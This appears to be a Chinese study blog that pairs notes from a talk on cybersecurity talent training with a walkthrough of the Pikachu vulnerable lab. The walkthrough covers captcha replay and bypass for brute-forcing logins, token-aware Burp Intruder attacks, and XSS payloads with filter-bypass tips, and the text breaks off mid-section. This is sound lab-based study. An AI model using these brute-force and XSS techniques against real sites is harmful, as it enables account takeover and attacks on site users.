    • masscan –rate=10000 –ports 0-65535 192.168.127.134:

      –rate=10000 意思是10kpps(packet per second),每秒一万个数据包

    • wget:非交互式网络文件下载工具

什么是六论视觉

六论视觉:强弱是相对论,知识是认识论(敢闯无人区),失败是实践论,决策是矛盾论(多目标,化解矛盾才是最重要的),发展是进化论,管理是方法论(球不能停在自己脚下)

网络安全人才的培养的六论视觉:能力是相对论,安全是认识论,攻防是实践论,选择是矛盾论,水平是进化论,鉴别是进化论.

  1. 安全是认识论:
    超过5000就构成犯罪。所以会用到靶场(类比少林弟子)。

人才培养

技能:知识(西电)+方法(方班)

  • 知识:事实 常识 规则

  • 方法:思辨 质疑 创新

    迅速适应企业的要求,迅速补上知识。自信的提升就是方法的提升。我觉得这么干是对的就是对的。美国一直行走在无人区。也要抬头看看是否真的无人,不怕走无人区,睁大眼睛可能有人做得比我好。

    思辨:如小萁所言,把查到得信息变为知识为思辨的过程。需要训练。思辨才是看难文章的敲门砖。你最会什么?你最懂的知道什么?把一件事思辨的搞明白。会思辨之后,再看顶会(挑战难度)。听完之后,迅速提炼自己的问题。保证心里有预期答案。为什么没按。不应该有答案,也是提高。特别坚信他是错的。每次讲完做总结。

靶场

靶场:vulhub pikachu raven sqli-lab

内打内属于靶场(CTF);内打外属于护网;外打外属于系统测试(方班演武堂);外打内设备测试(大量人众测)。

军队搞CTF赛很奇葩,每年参加CTF没什么意义(相当于奥赛其实,对于初学者),为了比赛而比赛不可取,应该参与真正的实战。

没有xss等。看的是逻辑漏洞,整个认证是在前端,认证应该在后端。改了应用程序,只看底层造成的。

不要培养专职的CTF选手。仅限在学校

自我提高

最牛的要真的牛

状态:

有一个做的特别深,便会知道怎么做.

每天激情状态

需要空闲期去考虑自己下一步要做什么,单目标函数还是双目标函数。

喜欢理论支持博士,喜欢实践鼓励创业

先去公司就业,积累资源、人脉,然后去创业。

目标:

靶场–>对应的CTF赛题–>实战、SRC。哪块弱补哪块。

安排:

  1. 对于自己:各种靶场训练,然后实操。
  2. redis–>渗透测试 搞清楚,一步一步来
  3. 去拿到各种SRC的证书。
  4. 知识积累,突变(量变转质变)web后期一定会是二进制.–横向贯彻(各个方向都要)
  5. 未接触领域,善于找标签:岗位体系–>需要什么知识体系–>将自己的标签和他对应上。标签需要很详细到某方面,类似于安全设备配置这样,而不是安全配置.
  6. 每天一篇:电子取证领域的论文

为何高分低能?

考试是采样,高分低能就是这样.采样是点,然而交流或者应用是连续.采样题是无聊的,宽泛的,面试其实也是,都是连续交流,其实开卷反而更难.

参考:

认证业务平台:http://cstc.cncstea.cn

http://examanage.cncstea.cn

前言

最近需要找实习了,来Pikachu靶场再复习一下重要类型的漏洞,具体搭建指南网上应有尽有,此处不再赘述。

Burt Force

相关:

安全认证策略:
用户密码设置是否足够复杂

每次认证是否使用安全验证码

对尝试登陆的行为是否进行判断和限制(连续5次错误登陆锁定账号等)

是否采用双因素认证

经验:

暴力破解流程

  • 找到登录接口的脆弱性
    • 尝试登录—抓包—观察验证元素和response,判断是否可以暴力破解
  • 优化字典
  • 自动化工具

生成高效字典

  • 比如常用的用户名/密码TOP500
  • 脱裤后的账号密码(社工库)
  • 根据特定的对象(比如手机、生日和银行卡号等)按照指定的规则来生成密码

字典优化技巧

  • 根据注册提示进行优化,如注册要求密码8位以上,就去掉少于8位的密码
  • 爆破管理后台时,账号是 admin / administrator / root 的可能性较高

验证码绕过(on server)服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
if(isset($_POST['submit'])) {
if (empty($_POST['username'])) {
$html .= "<p class='notice'>用户名不能为空</p>";
} else {
if (empty($_POST['password'])) {
$html .= "<p class='notice'>密码不能为空</p>";
} else {
if (empty($_POST['vcode'])) {
$html .= "<p class='notice'>验证码不能为空哦!</p>";
} else {
// 验证验证码是否正确
if (strtolower($_POST['vcode']) != strtolower($_SESSION['vcode'])) {
$html .= "<p class='notice'>验证码输入错误哦!</p>";
//应该在验证完成后,销毁该$_SESSION['vcode']
}else{

$username = $_POST['username'];
$password = $_POST['password'];
$vcode = $_POST['vcode'];

$sql = "select * from users where username=? and password=md5(?)";
$line_pre = $link->prepare($sql);

$line_pre->bind_param('ss',$username,$password);

if($line_pre->execute()){
$line_pre->store_result();
//虽然前面做了为空判断,但最后,却没有验证验证码!!!
if($line_pre->num_rows()==1){
$html.='<p> login success</p>';
}else{
$html.= '<p> username or password is not exists~</p>';
}
}else{
$html.= '<p>执行错误:'.$line_pre->errno.'错误信息:'.$line_pre->error.'</p>';
}
}
}
}
}
}

源码中比较完验证码后,并没有销毁该验证码。所以猜测验证码一直有效,可以不停重放数据包。

所以可以通过验证码重放,来绕过验证码爆破用户民共和密码。

成功爆破出目前pikachu的用户及密码

验证码绕过(on client)服务器

可以看到用js生成随机字符作为验证码候选,然后创建验证码并进行验证。所以在本案例下,可利用知道用户名或密码的前提下,可以对另一个参数进行暴力枚举。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<script language="javascript" type="text/javascript">
var code; //在全局 定义验证码
function createCode() {
code = "";
var codeLength = 5;//验证码的长度
var checkCode = document.getElementById("checkCode");
var selectChar = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9,'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z');//所有候选组成验证码的字符,当然也可以用中文的

for (var i = 0; i < codeLength; i++) {
var charIndex = Math.floor(Math.random() * 36);
code += selectChar[charIndex];
}
//alert(code);
if (checkCode) {
checkCode.className = "code";
checkCode.value = code;
}
}

function validate() {
var inputCode = document.querySelector('#bf_client .vcode').value;
if (inputCode.length <= 0) {
alert("请输入验证码!");
return false;
} else if (inputCode != code) {
alert("验证码输入错误!");
createCode();//刷新验证码
return false;
}
else {
return true;
}
}


createCode();
</script>

Token防爆破

抓包发现有 token

Repeater后可以看到返回包里有新的 token,即下一次登陆要使用的 token 值在此次登陆的返回包里,而且是明文传输,所以爆破时一定是单线程。

intruder模块:设置Grep Extract

设置线程为1

添加返回包里的 token 值,有效载荷选递归搜索

成功爆破

XSS

对XSS的熟悉程度取决于对浏览器机制和HTML、JS的了解程度。这部分涉及内容较多,需要多加练习。

反射型XSS(get)

比较好绕过,F12更改输入框maxlength,或者直接在URL中补全</script>即可。js代码正确即可被浏览器执行。

反射型XSS(post)

此处同上,只不过URL不显示

存储型XSS

注入语句会写入数据库中,每次进入都会执行

同上

DOM型XSS

DOM: Document Object Model文档对象模型,DOM型XSS是一种特殊类型的反射型XSS。

当网页到达浏览器,浏览器会为网页创建一个Document object文档对象,然后生成各个子文档对象,其中每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。

我们可以通过JS脚本对文档对象进行编辑从而修改页面的元素。客户端脚本程序可以通过DOM来动态修改页面内容,客户端获取DOM中的数据并在本地执行。基于此,JS脚本就可以用来实现XSS。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<div id="xssd_main">
<script>
function domxss(){
var str = document.getElementById("text").value;
document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<input id="text" name="text" type="text" value="" />
<input id="button" type="button" value="click me!" onclick="domxss()" />
<div id="dom"></div>
</div>

通过 getElementById 获取到了标签 Id 为 text的内容赋值给str

然后又把 str 的内容通过字符串拼接的方式写到了 a 标签的 href 属性中,而a标签会写到Id 为 dom的 div 标签中。

因此通过闭合的方式构造Payload

1
' onclick=alert("xss")>

DOM型XSS不经过后台交互,前端输入被DOM给获取,通过DOM又在前端输出

DOM型XSS-X

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<div id="xssd_main">
<script>
function domxss(){
var str = window.location.search;
var txss = decodeURIComponent(str.split("text=")[1]);
var xss = txss.replace(/\+/g,' ');
// alert(xss);

document.getElementById("dom").innerHTML = "<a href='"+xss+"'>就让往事都随风,都随风吧</a>";
}
//试试:'><img src="#" onmouseover="alert('xss')">
//试试:' onclick="alert('xss')">,闭合掉就行
</script>
<!--<a href="" onclick=('xss')>-->
<form method="get">
<input id="text" name="text" type="text" value="" />
<input id="submit" type="submit" value="请说出你的伤心往事"/>
</form>
<div id="dom"></div>
</div>

首先定义一个domxss函数:

利用 window.location.search 获取浏览器中URL的内容,然后赋值给 str

然后经过URL解码和字符串分隔,取出URL中的参数内容;

把 “+” 替换为 “ ”(空格),赋值给 xss;

把 xss 拼接到 a 标签中,然后写到 Id 为 dom 的 div 标签中。

与之前DOM不同的是,它的输入是从浏览器的URL中获取的,很像反射型XSS(get)

构造的Payload同上

1
' onclick=alert("xss")>

XSS之盲打

为攻击场景,输入的内容不会在当前输出,而是提交到后台。若输入一串js,管理员登录后台管理界面,后台会输出我们提交的内容

输入常见xss一句话,登陆管理员界面即可看到一登陆进来就遭受攻击。

XSS之过滤

常见xss一句话输入,被后台过滤,大小写即可绕过。也可用<img src=x onerror=alert(‘xss’)>。

实际场景中,或多或少都会有过滤,但是有些逻辑不严谨,也可被绕过。

绕过思路:

  • 前端限制绕过:直接抓包重放,或修改html前端代码。如反射型XSS(get)中限制输入20个字符。
  • 大小写:比如
  • 双写:<script>。针对后台把